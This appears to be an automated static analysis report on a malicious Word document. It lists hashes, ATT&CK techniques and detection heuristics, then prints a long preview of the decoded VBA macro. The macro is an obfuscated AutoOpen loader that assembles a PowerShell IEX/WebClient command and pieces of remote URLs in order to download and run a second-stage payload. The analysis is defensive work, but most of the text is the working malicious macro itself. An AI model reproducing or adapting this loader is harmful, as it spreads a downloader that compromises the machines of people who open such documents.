Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 81f7c8af32f523e7…

MALICIOUS

Office (OLE)

154.0 KB Created: 2018-05-22 10:53:00 Authoring application: Microsoft Office Word First seen: 2018-07-04
MD5: 50ecc1f698c6e8aa05f54bd80fcd3c9c SHA-1: 0a30aa1f5df9e26d22c4aa2dfdd56c2277e773ca SHA-256: 81f7c8af32f523e7895a070acb91619bfdeddbcaef1246543d60b34fb582355f
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample is a malicious Office document containing obfuscated VBA macros. The macros utilize the Shell() function and appear to construct and execute a PowerShell command. This command is designed to download and execute a second-stage payload from a remote URL, indicating a downloader or droppper functionality.

Heuristics 7

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    ' Line #658:
'  Ld Shell
'  Ld IqwJGlY
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    KtLhcVK = uYCTrok + lBOZsJ + ZaXboPzlWfC + cGIYA + saYoDvCZa + RhTbVi
[Shell] IqwJGlY + Chr(vbKeyP) + KtLhcVK, 0
End Function
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub Autoopen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 143421 bytes
SHA-256: cf1c10ea493540d5a63c4867160674e2c25873c32e6fada3283ae9ed40f336f7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
645 of 902 identifiers look randomly generated (e.g. 'vjJNsvpPq0Rg3kVBD47asuELlsKRhkRUFRWnllFR') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "jQVzALI"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function uYCTrok()

On Error Resume Next
DrkBEVYv = (zVijGzSWC - CDbl(554336) + OBIlir + Fix(DAPhcIRMYKW / CLng(644221 * Sqr(YMcnGk))) - 5189 / Sin(atFvpwoUIXv - FJHRX - 672561 + CLng(wXNMUiowK)) * 739023 * Fix(554336))
zGzbMq = "viiqkfNJxUOk4& ((VArIFba' V1W4Vowershell  IEx( (VzzYORMg67JJALnszy89pfZ10AJyS3Mgw"
rrkIcU = CStr(Left(Right(zGzbMq, 50), 17)) + CStr(Left(Right(zGzbMq, 57), 2)) + CStr(Left(Right(zGzbMq, 68), 8))

ERzmSDYK = "viiqkfNr*aWk4dALzABLe aWf*M1W4VPcvNVlyo3fpmYE"
hKAZijX = CStr(Left(Right(ERzmSDYK, 28), 10)) + Left(Right(ERzmSDYK, 32), 1) + CStr(Left(Right(ERzmSDYK, 38), 4))

VjFZdj = "RBviiqkfNJxUOf).NAme[3'FbaXRV1W4,1cv"
niRhZZF = Left(Right(VjFZdj, 23), 8) + CStr(Left(Right(VjFZdj, 15), 1)) + CStr(Left(Right(VjFZdj, 4), 2)) + CStr(Left(Right(VjFZdj, 14), 1))

twnbiwcrFDH = Chr(43)
jlvrKpsl = (hJTfbsUzz - CDbl(681017) + iWBMhRLm + Fix(wiiMni / CLng(838516 * Sqr(tCwYCJRm))) - 49229 / Sin(FIHZVN - zEnChZ - 70080 + CLng(awCfpCD)) * 456389 * Fix(681017))
aWrdYtkA = "iqkfNJxUOf)CALzpEzoF'1,2]-JOInaWfVlyo(fpmYErUuVzaWORMg"
UNAGbMzn = Left(Right(aWrdYtkA, 34), 12) + Left(Right(aWrdYtkA, 22), 1) + Left(Right(aWrdYtkA, 6), 2) + Left(Right(aWrdYtkA, 45), 2) + Left(Right(aWrdYtkA, 17), 1)

jPzUbp = "RBviiqkfNJxUO(aWfD47nsaFbaXRV1W4adcv"
ibUjfTF = Left(Right(jPzUbp, 23), 8) + CStr(Left(Right(jPzUbp, 15), 1)) + CStr(Left(Right(jPzUbp, 4), 2)) + CStr(Left(Right(jPzUbp, 14), 1))

SnXbkohu = "LzNaWfvii"
kRfXk = CStr(Left(Right(SnXbkohu, 6), 2)) + CStr(Left(Right(SnXbkohu, 4), 1))

WChNJv = Chr(43)
GZdPNiQmkbs = "dRBviiWfaWfsaOk4CALzp"
TKoDEvbQM = Left(Right(GZdPNiQmkbs, 13), 5) + CStr(Left(Right(GZdPNiQmkbs, 15), 1)) + CStr(Left(Right(GZdPNiQmkbs, 14), 1))

XvdOswp = Chr(43)
SwNdU = "dRBviiWfaWfdaOk4CALzp"
suqFQwCkAi = Left(Right(SwNdU, 13), 5) + CStr(Left(Right(SwNdU, 15), 1)) + CStr(Left(Right(SwNdU, 14), 1))

tzori = Chr(43)
tOtpB = (uwMSSjD - CDbl(553836) + zaSMNTPAhQr + Fix(iCAABaXq / CLng(518216 * Sqr(BXqbGdhdFh))) - 474816 / Sin(ZKwCkfKz - tjdwbqswMQ - 585953 + CLng(LMHzCclHph)) * 809822 * Fix(553836))
EPZDR = "RBviiqkfNJxUOaWf = &(BfFbaXRV1W4aWcv"
thfjaiFiTA = Left(Right(EPZDR, 23), 8) + CStr(Left(Right(EPZDR, 15), 1)) + CStr(Left(Right(EPZDR, 4), 2)) + CStr(Left(Right(EPZDR, 14), 1))

uHBBmn = Chr(43)
zmDvi = "LzNaW'vii"
IlidwGzDMk = CStr(Left(Right(zmDvi, 6), 2)) + CStr(Left(Right(zmDvi, 4), 1))

wPuzf = Chr(43)
tihRCRDoFY = "viiqkfNJxUO'fujnBuazoFbaXRVWW4"
StCiIvG = CStr(Left(Right(tihRCRDoFY, 19), 7)) + Left(Right(tihRCRDoFY, 12), 1) + CStr(Left(Right(tihRCRDoFY, 3), 1)) + CStr(Left(Right(tihRCRDoFY, 25), 1))

PFLjJGkXHBY = Chr(43)
qYjhAnWCiPa = (tZZGhT - CDbl(493373) + HrZYbil + Fix(EiXrmw / CLng(695218 * Sqr(hiiDZ))) - 449765 / Sin(APrSucbXDZB - SDIQAFCO - 343842 + CLng(SYGYoLrr)) * 411792 * Fix(493373))
mFcWKM = "LzNdaWfjiqkf"
lwFrb = Left(Right(mFcWKM, 8), 3) + Left(Right(mFcWKM, 5), 1)

RwEDmiPm = Chr(43)
tqAaz = "LzNaWfvii"
NVqaCM = CStr(Left(Right(tqAaz, 6), 2)) + CStr(Left(Right(tqAaz, 4), 1))

OQTlOjkML = Chr(43)
wNktD = (oXpJiOrsL - CDbl(841761) + zuphtWakSQ + Fix(aWrqiwKM / CLng(359962 * Sqr(EZokqD))) - 609886 / Sin(qjfZviIzc - DIcnAam - 526574 + CLng(NBwSE)) * 382000 * Fix(841761))
QAhfOPPY = "LzNaW'vii"
zaCanq = CStr(Left(Right(QAhfOPPY, 6), 2)) + CStr(Left(Right(QAhfOPPY, 4), 1))

cluKwQZWk = Chr(43)
MSwzPKBWD = "viiqffNJx'fBujaLzpEzoWba"
idcuK = CStr(Left(Right(MSwzPKBWD, 15), 5)) + Left(Right(MSwzPKBWD, 10), 1) + CStr(Left(Right(MSwzPKBWD, 3), 1)) + Left(Right(MSwzPKBWD, 20), 1)

LQmHHISbDQ = Chr(43)
WPsjw = "dRBviiWfaWfeaOk4CALzp"
UIvDiCwnKR = Left(Right(WPsjw, 13), 5) + CStr(Left(Right(WPsjw, 15), 1)) + CStr(Left(Right(WPsjw, 14), 1))

wWnMBnOZwS = Chr(43)
DiGTOonnYtS = "LzNaW'vii"
lrJAiXTTTG = CStr(Left(Right(DiGTOonnYtS, 6), 2)) + CStr(Left(Right(DiGTOonnYtS, 4), 1))
dSXhWE = (iTaTrziQuiw - CDbl(280071) + iTwUKn + Fix(VrjOdN / CLng(784540 * Sqr(HcPDXrkKNH))) - 80805 / Sin(nIamB - lwtwtiw - 920677 + CLng(tJiBwF)) * 514918 * Fix(280071))
UwkqcaE = Chr(43)
jIpztkGi = "NdRBvi'fBaWJxUOkfC"
aLJdMM = Left(Right(jIpztkGi, 12), 4) + Left(Right(jIpztkGi, 8), 1) + CStr(Left(Right(jIpztkGi, 2), 1))

coCbi = Chr(43)
DuzctlovQjV = "LzNdRaWfujkfNJx"
QIvKa = Left(Right(DuzctlovQjV, 10), 4) + Left(Right(DuzctlovQjV, 6), 1)

jaCQqn = Chr(43)
ZtDIKbmHDE = "LzNaWfvii"
CDCfWuwOw = CStr(Left(Right(ZtDIKbmHDE, 6), 2)) + CStr(Left(Right(ZtDIKbmHDE, 4), 1))

mWkowpZX = Chr(43)
OaupNcP = "viiqkfNeaWfk4jALzaWfBujw-ob1W4VPcvNVlyo3fpmYE"
jOEnofCLXk = CStr(Left(Right(OaupNcP, 28), 10)) + Left(Right(OaupNcP, 32), 1) + CStr(Left(Right(OaupNcP, 38), 4))
lcsAGTwQN = (TiZdadTjGiz - CDbl(812986) + QsJwbl + Fix(frMlm / CLng(591862 * Sqr(vDSjLLiMJLw))) - 188205 / Sin(JsFpIj - nWLAqIrMLiI - 967681 + CLng(zmdiaB)) * 505090 * Fix(812986))
RtHTpEQcX = Chr(43)
DYPLtCjzC = "viiqffNJxUaWfcBuapEzoFbaWRV"
DURjNdizB = Left(Right(DYPLtCjzC, 17), 6) + CStr(Left(Right(DYPLtCjzC, 11), 1)) + Left(Right(DYPLtCjzC, 3), 1) + CStr(Left(Right(DYPLtCjzC, 23), 1))

XwTuFV = Chr(43)
LTQEq = "7'L"
MVNuCG = CStr(Left(Right(LTQEq, 2), 1))

qEGOAXqfVl = Chr(43)
CtrAqiIfLuG = "LzNdR'aWfjkfNJx"
EPSKJTUjTK = Left(Right(CtrAqiIfLuG, 10), 4) + Left(Right(CtrAqiIfLuG, 6), 1)

aMNUqDH = Chr(43)
uYCTrok = rrkIcU + hKAZijX + niRhZZF + twnbiwcrFDH + UNAGbMzn + ibUjfTF + kRfXk + WChNJv + TKoDEvbQM + XvdOswp + suqFQwCkAi + tzori + thfjaiFiTA + uHBBmn + IlidwGzDMk + wPuzf + StCiIvG + PFLjJGkXHBY + lwFrb + RwEDmiPm + NVqaCM + OQTlOjkML + zaCanq + cluKwQZWk + idcuK + LQmHHISbDQ + UIvDiCwnKR + wWnMBnOZwS + lrJAiXTTTG + UwkqcaE + aLJdMM + coCbi + QIvKa + jaCQqn + CDCfWuwOw + mWkowpZX + jOEnofCLXk + RtHTpEQcX + DURjNdizB + XwTuFV + MVNuCG + qEGOAXqfVl + EPSKJTUjTK + aMNUqDH

End Function

Function lBOZsJ()

On Error Resume Next
tAjhnYKzo = (qZBmzXFCSt - CDbl(320360) + HNPuCuQLic + Fix(WfcSQzdSQi / CLng(835066 * Sqr(KPWAZtC))) - 527730 / Sin(jPclmn - mkitoFN - 662398 + CLng(CWJhGIZAcJr)) * 93430 * Fix(320360))
GzJWU = "viiqffNJxUBujtBuapEzoFbaWRV"
AGcot = Left(Right(GzJWU, 17), 6) + CStr(Left(Right(GzJWU, 11), 1)) + Left(Right(GzJWU, 3), 1) + CStr(Left(Right(GzJWU, 23), 1))

HAYGDIzD = Chr(43)
QYDKBmPIvJq = "dRBviiWfaWfjaOk4CALzp"
MzkzaozCp = Left(Right(QYDKBmPIvJq, 13), 5) + CStr(Left(Right(QYDKBmPIvJq, 15), 1)) + CStr(Left(Right(QYDKBmPIvJq, 14), 1))

vpaBQFHXq = Chr(43)
jMdoChjCOr = "RBviiqkfNJxUOaWf) randfFbaXRV1W4aWcv"
IEtRoz = Left(Right(jMdoChjCOr, 23), 8) + CStr(Left(Right(jMdoChjCOr, 15), 1)) + CStr(Left(Right(jMdoChjCOr, 4), 2)) + CStr(Left(Right(jMdoChjCOr, 14), 1))

sRjCRI = Chr(43)
qZHGT = (ddFlFj - CDbl(349835) + hkFsnlRbL + Fix(RnTHQ / CLng(439916 * Sqr(kQnSKS))) - 117655 / Sin(oRwLdmw - hZUzwtO - 297584 + CLng(KTfiVq)) * 40275 * Fix(349835))
AOvNJtjBff = "dRBviiWfaWfoaOk4CALzp"
YBERn = Left(Right(AOvNJtjBff, 13), 5) + CStr(Left(Right(AOvNJtjBff, 15), 1)) + CStr(Left(Right(AOvNJtjBff, 14), 1))

uzEOchqFAvK = Chr(43)
jzETAjBEHQ = "viiqffNJxUaWfm;DapEzoFbaWRV"
uGlOn = Left(Right(jzETAjBEHQ, 17), 6) + CStr(Left(Right(jzETAjBEHQ, 11), 1)) + Left(Right(jzETAjBEHQ, 3), 1) + CStr(Left(Right(jzETAjBEHQ, 23), 1))

WtWNStLDs = Chr(43)
UUTnItCjOTA = "viiq'fNJxUaWf47YapEzoFbaWRV"
nVTKubBNDpf = Left(Right(UUTnItCjOTA, 17), 6) + CStr(Left(Right(UUTnItCjOTA, 11), 1)) + Left(Right(UUTnItCjOTA, 3), 1) + CStr(Left(Right(UUTnItCjOTA, 23), 1))

tPGbSusv = Chr(43)
ulQGzGA = "7f'fNd"
JNVutch = Left(Right(ulQGzGA, 4), 2)

LCZpuRfbz = Chr(43)
IDdMCiqkjj = "dRBviiWfaWfYaOk4CALzp"
TEYLwD = Left(Right(IDdMCiqkjj, 13), 5) + CStr(Left(Right(IDdMCiqkjj, 15), 1)) + CStr(Left(Right(IDdMCiqkjj, 14), 1))
GnzzbASkYq = (wPSBsUZpjk - CDbl(144608) + sOoXcj + Fix(UksTLz / CLng(832234 * Sqr(BJjrI))) - 524977 / Sin(mGnisjNHi - qICsvkIDXib - 335119 + CLng(GzfEU)) * 220117 * Fix(144608))
wzJPf = Chr(43)
toawt = "viiqffNJxUaWfU =apEzoFbaWRV"
OUDEpdHCmF = Left(Right(toawt, 17), 6) + CStr(Left(Right(toawt, 11), 1)) + Left(Right(toawt, 3), 1) + CStr(Left(Right(toawt, 23), 1))

sYDXcrh = Chr(43)
zbNwhzGw = "viiqkfeBujOknCALaWf .(BujRV1W4VPcvNVlyo3fp"
SXHkA = CStr(Left(Right(zbNwhzGw, 26), 9)) + CStr(Left(Right(zbNwhzGw, 30), 1)) + Left(Right(zbNwhzGw, 36), 4)

uiYqtcMFi = Chr(43)
KJXMjMPJvrY = "LzNdRBuaWfkfNJx"
shjduvvtsVi = Left(Right(KJXMjMPJvrY, 10), 4) + Left(Right(KJXMjMPJvrY, 6), 1)

JfUGcONP = Chr(43)
jQjSAwqJ = "viiqjfNJxaWfjwBLzpEzouba"
kDXvw = CStr(Left(Right(jQjSAwqJ, 15), 5)) + Left(Right(jQjSAwqJ, 10), 1) + CStr(Left(Right(jQjSAwqJ, 3), 1)) + Left(Right(jQjSAwqJ, 20), 1)

LscHnuKfu = Chr(43)
XkLuFwN = "LzNdRBaWf'kfNJx"
DFWcNr = Left(Right(XkLuFwN, 10), 4) + Left(Right(XkLuFwN, 6), 1)
POvcw = (azYIr - CDbl(415087) + ssZZXcrpFc + Fix(vfYXRv / CLng(850653 * Sqr(JKsNcQD))) - 426087 / Sin(WrwnbpAbtPE - KUUuunFAwa - 752205 + CLng(IDDzjufP)) * 12692 * Fix(415087))
VvVWkBtrM = Chr(43)
FnZZUoMcK = "7'L"
mWdNqNv = CStr(Left(Right(FnZZUoMcK, 2), 1))

jbAUc = Chr(43)
tFGwdhAjFBu = "dRBviiWfaWfuaOk4CALzp"
upjFOOffM = Left(Right(tFGwdhAjFBu, 13), 5) + CStr(Left(Right(tFGwdhAjFBu, 15), 1)) + CStr(Left(Right(tFGwdhAjFBu, 14), 1))

JEwNmwfjP = Chr(43)
ozbVR = "dRBviiWfaWfjaOk4CALzp"
jnQBA = Left(Right(ozbVR, 13), 5) + CStr(Left(Right(ozbVR, 15), 1)) + CStr(Left(Right(ozbVR, 14), 1))

AuEphATlc = Chr(43)
ivrlqK = "dRBviiWfaWf-aOk4CALzp"
UndwoHJzElR = Left(Right(ivrlqK, 13), 5) + CStr(Left(Right(ivrlqK, 15), 1)) + CStr(Left(Right(ivrlqK, 14), 1))
KkrdrDRMc = (TzORScTtN - CDbl(925456) + smVVpjwkDjl + Fix(vAHzaIEQoOX / CLng(385312 * Sqr(FhqNuIHd))) - 107784 / Sin(OsYOVnIEj - vsVCOJ - 518388 + CLng(BLowGiP)) * 993735 * Fix(925456))
qRLhu = Chr(43)
ioUfWE = "LzNdaWf'iqkf"
JdRREk = Left(Right(ioUfWE, 8), 3) + Left(Right(ioUfWE, 5), 1)

dHmzWi = Chr(43)
dMRXvjp = "dRBviiWf'objaOk4CALzp"
lAwVt = Left(Right(dMRXvjp, 13), 5) + CStr(Left(Right(dMRXvjp, 15), 1)) + CStr(Left(Right(dMRXvjp, 14), 1))

hHvUUN = Chr(43)
zRlUNr = "FDga'R"
qqQWiIGkZ = CStr(Left(Right(zRlUNr, 3), 2))

KSnLlz = Chr(43)
ZPzNV = "WRhom4Ux SGQCjNt2umaWfwYnvj'WfectBuj)3kVBAAad"
GEEdRpS = CStr(Left(Right(ZPzNV, 18), 10)) + CStr(Left(Right(ZPzNV, 37), 2)) + Left(Right(ZPzNV, 26), 3)
oDFBvJcNPJ = (ZAzjq - CDbl(602957) + airLMbhr + Fix(GDnqbJEwdnj / CLng(43917 * Sqr(jsEjhiFum))) - 647731 / Sin(iclBlUjbbYK - CZaZhrUCTsH - 948507 + CLng(rpmcftbzMNU)) * 946053 * Fix(602957))
Jibdj = Chr(43)
qoCRjPR = "WRhoW4Ux9HfQCjaWfysai5wY"
dUvzBSlBGG = CStr(Left(Right(qoCRjPR, 10), 6)) + CStr(Left(Right(qoCRjPR, 20), 1)) + CStr(Left(Right(qoCRjPR, 14), 1))

vEpqDuvK = Chr(43)
hwIAmS = "WRhomaUx9HGQWfNt2uaWftem.vjJNs"
qTEdUDJzhG = CStr(Left(Right(hwIAmS, 12), 7)) + CStr(Left(Right(hwIAmS, 25), 1)) + Left(Right(hwIAmS, 18), 2)

sfRGAG = Chr(43)
MbqtF = "WRhom4ex9HGQCjbC2umzaWfNet.WNsvpP"
dHwwJ = CStr(Left(Right(MbqtF, 13), 8)) + Left(Right(MbqtF, 27), 1) + Left(Right(MbqtF, 19), 2)

wKfzpdE = "gSWfhom4UliaWQC"
AkSbOGnf = CStr(Left(Right(wKfzpdE, 6), 4)) + Left(Right(wKfzpdE, 12), 1)

pzJPRiw = Chr(43)
zhGdY = "WRho;4Ux9H'QCjaWfenti5wY"
oTAwkQ = CStr(Left(Right(zhGdY, 10), 6)) + CStr(Left(Right(zhGdY, 20), 1)) + CStr(Left(Right(zhGdY, 14), 1))
qUwkoWfz = (fJiPTf - CDbl(943916) + XJtORvFznou + Fix(cFrhWM / CLng(886328 * Sqr(SlGIYmEl))) - 334692 / Sin(AzNQFn - SYNGvO - 50282 + CLng(wAbQVCobHCt)) * 890313 * Fix(943916))
OTJAzhvRjct = Chr(43)
iPXmOjKOGNr = "Ux9HGQW'Nt2umzi5w.nejJNsvpPq0Rg3kVBAAxt(1aLlsKRhkRU91rK'D47NSB = D47nsadasdVxc0aOi6ZwX1tAz"
hmSzXJWiWBu = CStr(Left(Right(iPXmOjKOGNr, 35), 20)) + CStr(Left(Right(iPXmOjKOGNr, 73), 3)) + Left(Right(iPXmOjKOGNr, 53), 5) + Left(Right(iPXmOjKOGNr, 84), 2)

dnLkfOE = Chr(43)
RZlwlVWjTNj = "FDg'fR"
sNiDvKpJdn = CStr(Left(Right(RZlwlVWjTNj, 3), 2))

jjrnlJHm = Chr(43)
DAFLYhOfId = "WRhom4ax9HGQCjWf2umzaWf0000,NsvpP"
WubMYsX = CStr(Left(Right(DAFLYhOfId, 13), 8)) + Left(Right(DAFLYhOfId, 27), 1) + Left(Right(DAFLYhOfId, 19), 2)

WKmVYH = Chr(43)
BNARq = "Ux9H'QCjNtD4mzi5wYnvjJ7ADpPq0Rg3kaWf 282133);KRhkRU91r"
TDOCN = Left(Right(BNARq, 21), 12) + Left(Right(BNARq, 44), 2) + CStr(Left(Right(BNARq, 32), 3)) + Left(Right(BNARq, 50), 1)

NBiiKkl = Chr(43)
lBOZsJ = AGcot + HAYGDIzD + MzkzaozCp + vpaBQFHXq + IEtRoz + sRjCRI + YBERn + uzEOchqFAvK + uGlOn + WtWNStLDs + nVTKubBNDpf + tPGbSusv + JNVutch + LCZpuRfbz + TEYLwD + wzJPf + OUDEpdHCmF + sYDXcrh + SXHkA + uiYqtcMFi + shjduvvtsVi + JfUGcONP + kDXvw + LscHnuKfu + DFWcNr + VvVWkBtrM + mWdNqNv + jbAUc + upjFOOffM + JEwNmwfjP + jnQBA + AuEphATlc + UndwoHJzElR + qRLhu + JdRREk + dHmzWi + lAwVt + hHvUUN + qqQWiIGkZ + KSnLlz + GEEdRpS + Jibdj + dUvzBSlBGG + vEpqDuvK + qTEdUDJzhG + sfRGAG + dHwwJ + AkSbOGnf + pzJPRiw + oTAwkQ + OTJAzhvRjct + hmSzXJWiWBu + dnLkfOE + sNiDvKpJdn + jjrnlJHm + WubMYsX + WKmVYH + TDOCN + NBiiKkl

End Function

Function ZaXboPzlWfC()

On Error Resume Next
lMwjOt = (sChhjAaqa - CDbl(28530) + jbzLuirfT + Fix(sGEsn / CLng(43113 * Sqr(uBQqjmI))) - 223447 / Sin(fonAKDwF - KMGPwriED - 473433 + CLng(rrmwotTGYZj)) * 827266 * Fix(28530))
EOmavKsDcL = "gSWfhom4U'CaWQC"
zJGEFrzrvR = CStr(Left(Right(EOmavKsDcL, 6), 4)) + Left(Right(EOmavKsDcL, 12), 1)

pPsaTOXpa = Chr(43)
oKZfJ = "WRhomaUx9HGQWfNt2uaWfX = vjJNs"
WJvWpwi = CStr(Left(Right(oKZfJ, 12), 7)) + CStr(Left(Right(oKZfJ, 25), 1)) + Left(Right(oKZfJ, 18), 2)

lshQj = Chr(43)
pKlNJvDqjHW = "WRhoW4Ux9fGQaWfBaumzi"
IAWjIcfwIcR = Left(Right(pKlNJvDqjHW, 9), 5) + CStr(Left(Right(pKlNJvDqjHW, 17), 1)) + CStr(Left(Right(pKlNJvDqjHW, 12), 1))

KRjOucw = Chr(43)
lwYbRaJA = "gSWjhom4UaWfuQC"
azLhPvO = CStr(Left(Right(lwYbRaJA, 6), 4)) + Left(Right(lwYbRaJA, 12), 1)

KZzYitRSro = Chr(13)
TMNqmjdtjR = (RXGvAfAwsdq - CDbl(501523) + zXnauG + Fix(UIdDVTkz / CLng(29435 * Sqr(SpLsURAzrJ))) - 361149 / Sin(iYKwKcC - SzIjmIw - 83536 + CLng(oTlbPjMjCS)) * 495183 * Fix(501523))
HIkchQrhnWI = Chr(10)
UubtvciqHu = "gSfRhomhaW9H"
ZDJhDiRk = Left(Right(UubtvciqHu, 5), 3) + Left(Right(UubtvciqHu, 10), 1)

SOfalANS = Chr(43)
SAdfsTIv = "F'g"
wdLtmOUZ = Left(Right(SAdfsTIv, 2), 1)

OmPKohYVD = Chr(43)
kQpmzNiAuJf = "WRhom4U/9HGQCjNtjanzi5w'aWfttp:/Pq0Rg3k"
PRFuZbotEC = CStr(Left(Right(kQpmzNiAuJf, 16), 9)) + Left(Right(kQpmzNiAuJf, 32), 1) + Left(Right(kQpmzNiAuJf, 23), 3)

OTKvGZfLiAX = "WRhWm4Uf9HGeenat2u"
PiOKXiRfQvN = CStr(Left(Right(OTKvGZfLiAX, 7), 4)) + CStr(Left(Right(OTKvGZfLiAX, 15), 1)) + CStr(Left(Right(OTKvGZfLiAX, 11), 1))

ACzIHZwB = Chr(43)
HpnwC = (ErbShUGBiT - CDbl(59702) + LzdvjM + Fix(azGODqH / CLng(218266 * Sqr(IvubJZ))) - 878530 / Sin(WorJA - AJWHfwp - 679107 + CLng(oGbdT)) * 721108 * Fix(59702))
nvQhXjjb = "WRhoW4Ux9fGQaWfsaumzi"
GlXjYYv = Left(Right(nvQhXjjb, 9), 5) + CStr(Left(Right(nvQhXjjb, 17), 1)) + CStr(Left(Right(nvQhXjjb, 12), 1))

nwdQUcon = Chr(43)
DJfUIH = "WRhoW4Ux9fGQaWfaaumzi"
sCzvYv = Left(Right(DJfUIH, 9), 5) + CStr(Left(Right(DJfUIH, 17), 1)) + CStr(Left(Right(DJfUIH, 12), 1))

lInUww = Chr(43)
vSGOLiYB = "WRhomaUx9HGWfjNtaWfrt.wYnvj"
iUOomZ = Left(Right(vSGOLiYB, 11), 6) + Left(Right(vSGOLiYB, 22), 1) + CStr(Left(Right(vSGOLiYB, 16), 2))

DbGKbpfklQQ = Chr(43)
COPoatlzFj = (XXEYi - CDbl(638923) + wEuFwNwoq + Fix(imIjpjcOJ / CLng(318411 * Sqr(vGXjk))) - 394245 / Sin(fwsMXDJDC - LiFASAjODK - 659097 + CLng(zKqvqPaiqhK)) * 800297 * Fix(638923))
hCPSjWZm = "WRhom4ax9HGQCjWf2umzaWfcom/9NsvpP"
CaEzN = CStr(Left(Right(hCPSjWZm, 13), 8)) + Left(Right(hCPSjWZm, 27), 1) + Left(Right(hCPSjWZm, 19), 2)

ZHhWV = Chr(43)
mwTREI = "WRhom4UxhHGQCjNt2aWfi5wYnaWfpUWPR/@Rg3kVBA"
DiFEjujP = Left(Right(mwTREI, 17), 10) + CStr(Left(Right(mwTREI, 34), 1)) + CStr(Left(Right(mwTREI, 25), 3))

knNzPhW = Chr(43)
bEWDiYbmUY = "WRhom4ax9HGQCjWf2umzaWfttp:/NsvpP"
vzFXoHdS = CStr(Left(Right(bEWDiYbmUY, 13), 8)) + Left(Right(bEWDiYbmUY, 27), 1) + Left(Right(bEWDiYbmUY, 19), 2)

IQrQP = Chr(43)
JVMFuHvlc = "WRhom4Ux.dGQCjNt2umaWfwYnvjaWf/hss-mb3kVBAAad"
CvzznfiBs = CStr(Left(Right(JVMFuHvlc, 18), 10)) + CStr(Left(Right(JVMFuHvlc, 37), 2)) + Left(Right(JVMFuHvlc, 26), 3)
SXEUGLDQhi = (NvMcJoqbBKw - CDbl(744362) + idImsjYLtD + Fix(ZXazjfw / CLng(826873 * Sqr(kUnYdDbGm))) - 998443 / Sin(KdcUjWqwZK - JXBKjnEir - 952419 + CLng(vEdNTu)) * 352227 * Fix(744362))
MiAutVdjJd = Chr(43)
VYmpzzpKDbl = "WRhom4Ux34GQCjNt2umaWfwYnvjaWfe/EpTz33kVBAAad"
tswSAVqw = CStr(Left(Right(VYmpzzpKDbl, 18), 10)) + CStr(Left(Right(VYmpzzpKDbl, 37), 2)) + Left(Right(VYmpzzpKDbl, 26), 3)

RswjBfkiVic = Chr(43)
iTrru = "WRhom4Ux9/iQCjNt2umziaWfnvjJNsvaWfP/@http:/adtuELls"
lNmDw = Left(Right(iTrru, 20), 12) + Left(Right(iTrru, 42), 2) + CStr(Left(Right(iTrru, 30), 3))

rjHJr = Chr(43)
CAEQk = "WRhomaUx9HGWfjNtaWfljawYnvj"
miimSWTYjq = Left(Right(CAEQk, 11), 6) + Left(Right(CAEQk, 22), 1) + CStr(Left(Right(CAEQk, 16), 2))

TiQtOkv = Chr(43)
zMUJSJBf = "WRhom4ex9HGQCjNne'mzi5aWf-en-rvpPq0R"
fAVIiK = CStr(Left(Right(zMUJSJBf, 14), 8)) + Left(Right(zMUJSJBf, 30), 1) + CStr(Left(Right(zMUJSJBf, 21), 3))

CSwOoHA = Chr(43)
bniOjGXvu = "WRhoW4Ux9HfQCj'.nl/ai5wY"
wWwzQz = CStr(Left(Right(bniOjGXvu, 10), 6)) + CStr(Left(Right(bniOjGXvu, 20), 1)) + CStr(Left(Right(bniOjGXvu, 14), 1))
TAaRC = (TYUWRm - CDbl(898394) + KTwvNmrtU + Fix(VQbIoZ / CLng(852059 * Sqr(AsVMjKiIs))) - 358850 / Sin(zwNoMLhos - VIRkJzsEBa - 405851 + CLng(fzoVY)) * 647638 * Fix(898394))
SLfpQJbbCt = Chr(43)
nDtiGtS = "WRhomUUx9HGQZ6Nt2uaWfvOtavjJNs"
jTnjvW = CStr(Left(Right(nDtiGtS, 12), 7)) + CStr(Left(Right(nDtiGtS, 25), 1)) + Left(Right(nDtiGtS, 18), 2)

ZPlSMrHcH = "F'g"
tuTZGU = Left(Right(ZPlSMrHcH, 2), 1)

ErPtfiLBi = Chr(43)
zXJPG = "WRhom4U:9HGQCjNtaWfzi5w'BI/@httpPq0Rg3k"
cmwvXSEz = CStr(Left(Right(zXJPG, 16), 9)) + Left(Right(zXJPG, 32), 1) + Left(Right(zXJPG, 23), 3)
XPCioPEIX = (WbObhAp - CDbl(23783) + qXKWW + Fix(bLiWb / CLng(29757 * Sqr(iFGXaJQNMm))) - 836574 / Sin(akqozERXJU - boXAsB - 675811 + CLng(dkhhi)) * 156602 * Fix(23783))
CrktXI = Chr(43)
